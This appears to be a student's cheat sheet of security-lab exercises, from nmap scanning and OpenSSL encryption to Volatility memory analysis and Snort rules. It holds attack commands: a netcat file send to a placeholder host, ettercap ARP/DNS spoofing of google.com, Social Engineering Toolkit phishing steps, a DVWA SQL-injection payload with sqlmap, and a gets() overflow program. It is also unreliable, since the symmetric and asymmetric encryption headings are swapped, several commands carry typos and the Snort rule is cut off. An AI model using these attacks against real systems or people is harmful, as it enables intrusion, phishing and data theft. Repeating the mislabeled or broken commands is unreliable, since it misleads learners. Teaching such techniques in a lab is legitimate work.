

## Experiment: Network Port Scanning, Host Discovery

Commands:

```
ip a
      Output: inet <ip_address>
nmap -sn ip_address
nmap -sV ip_address
nmap ip_address

nc ip_address port
nc -lvp 4444
nc ip_address 4444 < file.txt

http
ip.addr == ip_address
tcp.flags.syn == 1 && tcp.flags.ack == 0
```

## Experiment: Asymmetric Encryption

Commands:

```
echo "Message" > msg.txt
openssl enc -aes-256-cbc -salt -in msg.txt -out encrypted.enc
openssl enc -d -aes-256-cbc -salt -in encrypted.enc -out decrypted.txt
cat decrypted.txt
```

## Experiment: Symmetric Encryption

Commands:

```
echo "Message.txt" > msg.txt
openssl genpkey -algprithm RSA -out private_key.pem -pkeyopt
rsa_keygen_bits:2048
openssl rsa -pubout -in private_key.pem -out public_key.pem
openssl pkeyutl -encrypt -inkey public_key.pem -pubin -in msg.txt -out
encrypted.bin
openssl pkeyutl -decrypt -inkey private_key.pem -in encrypted.bin -out
decrypted.txt
cat decrypted.txt
```

## Experiment: "Windows OS Configuration" or "DNS Spoofing and Packet Inspection"

Commands:

```
Enable IP forwarding: sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
Edit ettercap DNS file using: sudo nano /etc/ettercap/etter.dns
Now add *.google.com A 192.168.1.20
Start Ettercap: sudo ettercap -T -M arp:remote /192.168.1.15/ /192.168.1.1/
-P dns_spoof
```

Experiment: Email Phishing and Analyze Email Headers

Commands:

```
Launch Thunderbird: thunderbird &
Configure a local mail account
Launch Social Engineering Toolkit: sudo setoolkit
Choose Social Engineering Attack: 1
Choose Mass Mailer Attack: 5
Choose Single Mail Address: 1
Use local mail account
```

Experiment: SQL Injection

Commands:

```
sudo service apache2 start
sudo service mysql start
Open http://127.0.0.1/dvwa
Credentials: Username: admin, Password: password
Set DVWA Security -> Low
Go to DVWA menu -> SQL Injection
Enter 1' OR 1=1 --
From the same page get URL
DevTools > Applications > Cookies > Copy: PHPSESSID=<value>
In Terminal: sqlmap -u
"http://127.0.0.1/dvwa/vulnerabilities/sqlil/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=<value>; security=low"
```

For Sanitization:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```

Experiment: Buffer Overflow Code in C

Source Code for vuln.c:

```
#include <stdio.h>

void vulnerable() {
    char buf[8];
    printf("Enter your name: ");
    gets(buf); // Vulnerable: No bounds checking
    printf("Hello %s\n", buf);
}

int main() {
    vulnerable();
    return 0;
}
```

```
}
```

Commands:

```
gcc -g vuln.c -o vuln
gdb ./vuln
run
AAAAA
run
AAAAAAAAAAAAAA
info registers
```

View wrecked stack and show faulty register values

Experiment: Malware Behavior Analysis

Commands:

```
wget https://secure.eicar.org/eicar.com.txt -O eicar_test_file.com
firefox &
https://www.hybrid-analysis.com/
Upload eicar_test_file.com
Download report
```

Experiment: Extract and analyze memory information from a memory dump using Volatility.

Commands:

```
To install : pip3 install volatility3
To identify basic OS info : vol -f memory.raw windows.info
List running process : vol -f memory.raw windows.pslist
List hidden process: vol -f memory.raw windows.psscan
Analyzed Loaded DLLs: vol -f memory.raw windows.dlllist
Analyze network connections: vol -f memory.raw windows.netscan
Find Malware: vol -f memory.raw windows.malfind
Dump suspicious memory: vol -f memory.raw windows.memmap --pid 1234
List all files: vol -f memory.raw windows.filescan
Registry List: vol -f memory.raw windows.registry.hivelist
```

Experiment: IDS Using Snort

Commands:

```
snort -V
Configure:
    Snort config file: /etc/snort/snort.conf
    Set HOME_NET
    Edit: sudo nano /etc/snort/snort.conf
    Find: var HOME_NET any
```

```
Update with your network: var HOME_NET 192.168.1.0/24
Enable local rules
Ensure the line exists: include $RULE_PATH/local.rules
Custom Rule: alert icmp any any -> $HOME_NET any (msg:"ICMP Ping Detected";
sid:10001; rev:1;
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
From another system: ping <Kali-IP>
Wireshark Filter: icmp
```